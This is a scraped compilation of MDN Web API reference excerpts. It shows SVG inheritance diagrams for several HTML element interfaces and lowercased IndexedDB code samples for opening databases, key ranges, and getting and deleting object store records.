...ef="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 5...
...01,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlstyleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements linkstyle.
HTMLTableCaptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget...
...</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="c...
...onsolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="9...
...0" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableColElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget...
...</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="c...
...onsolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="9...
...0" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltablecolelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTemplateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1...
...="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middl...
...e">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltemplateelement" target="_to...
...p"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltemplateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement.
HTMLTimeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyl...
...ine points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,an...
...dale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="9...
...0" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltimeelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltimeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20...
... 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill=...
..."#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xl...
...ink:href="/docs/web/api/htmltitleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTrackElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" al...
...ignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y...
...="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" s...
...troke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmltrackelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltrackelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLUListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline=...
..."middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="...
...12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/>...
...<line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlulistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlulistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLUnknownElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline...
... points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andal...
...e mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" ...
...stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlunknownelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlunknownelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties no specific property; inherits properties from its parent, htmlelement.
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
example example of calling open with the current specification's version parameter: var request = window.indexeddb.open("todolist", 4); in the following code snippet, we make a request to open a database, and include handlers for the success and error cases.
... for a full working example, see our to-do notifications app (view example live.) var note = document.queryselector("ul"); // in the following line, you should include the prefixes // of implementations you want to test.
... window.indexeddb = window.indexeddb || window.mozindexeddb || window.webkitindexeddb || window.msindexeddb; // don't use "var indexeddb = ..." if you're not in a function.
...ences to some window.idb* objects: window.idbtransaction = window.idbtransaction || window.webkitidbtransaction || window.msidbtransaction; window.idbkeyrange = window.idbkeyrange || window.webkitidbkeyrange || window.msidbkeyrange; // (mozilla has never prefixed these objects, so we don't // need window.mozidb*) // let us open version 4 of our database var dbopenrequest = window.indexeddb.open("todolist", 4); // these two event handlers act on the database being opened // successfully, or not dbopenrequest.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db // variable.
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
here we declare a keyrangevalue = idbkeyrange.bound("a", "f"); — a range between values of "a" and "f".
...this range includes the values "a" and "f", as we haven't declared that they should be open bounds.
... if we used idbkeyrange.bound("a", "f", true, true);, then the range would not include "a" and "f", only the values between them.
... note: for a more complete example allowing you to experiment with key range, have a look at the idbkeyrange directory in the indexeddb-examples repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; ...
IDBKeyRange.lowerBound() - Web APIs
here we declare keyrangevalue = idbkeyrange.lowerbound("f", false); — a range that includes the value "f" and everthing after it.
...this means that the cursor will only retrieve the record with the key value "f" and all that come after it.
... if we used idbkeyrange.lowerbound("f", true);, then the range would not include "f"; only the values after it.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.lowerbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification ...
IDBKeyRange - Web APIs
here we declare a keyrangevalue as a range between values of "a" and "f".
...this range includes the values "a" and "f", as we haven't declared that they should be open bounds.
... if we used idbkeyrange.bound("a", "f", true, true);, then the range would not include "a" and "f", only the values between them.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification s...
IDBObjectStore.delete() - Web APIs
example in the following code snippet, we open a read/write transaction on our database and delete one specific record out of our object store using delete() — a sample record with the key "walk dog".
... for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... this is used a lot below db = dbopenrequest.result; // run the deletedata() function to delete a record from the database deletedata(); }; function deletedata() { // open a read/write db transaction, ready for deleting the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to delete the specified record out of ...
...the object store var objectstorerequest = objectstore.delete("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'delete()' in that specification.
IDBObjectStore.get() - Web APIs
example in the following code snippet, we open a read/write transaction on our database and get one specific record from object store using get() — a sample record with the key "walk dog".
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the getdata() function to get the data from the database getdata(); }; function getdata() { // open a read/write db transaction, ready for retrieving the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error: ' + transaction.error + '</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); // make a request to get a record by key from the object stor...
...e var objectstorerequest = objectstore.get("walk dog"); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; var myrecord = objectstorerequest.result; }; }; specifications specification status comment indexed database api 2.0the definition of 'get()' in that specification.
IDBObjectStore.name - Web APIs
invalidstateerror either the object store has been deleted or the current transaction is not an upgrade transaction; you can only rename indexes during upgrade transactions; that is, when the mode is "versionchange".
...for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in the db variable.
... // this is used a lot below db = dbopenrequest.result; // run the adddata() function to add the data to the database adddata(); }; function adddata() { // create a new object ready to insert into the idb var newitem = [ { tasktitle: "walk dog", hours: 19, minutes: 30, day: 24, month: "december", year: 2013, notified: "no" } ]; // open a read/write db transaction, ready for adding the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror = function(event) { note.innerhtml += '<li>transaction not opened due to error.
... duplicate items not allowed.</li>'; }; // create an object store on the transaction var objectstore = transaction.objectstore("todolist"); console.log(objectstore.name); // make a request to add our newitem object to the object store var objectstorerequest = objectstore.add(newitem[0]); objectstorerequest.onsuccess = function(event) { // report the success of our request note.innerhtml += '<li>request successful.</li>'; }; }; specification specification status comment indexed database api 2.0the definition of 'name' in that specification.
IDBObjectStore - Web APIs
for a full working example, see our to-do notifications app (view example live.) // let us open our database var dbopenrequest = window.indexeddb.open("todolist", 4); dbopenrequest.onsuccess = function(event) { note.innerhtml += '<li>database initialised.</li>'; // store the result of opening the database in db.
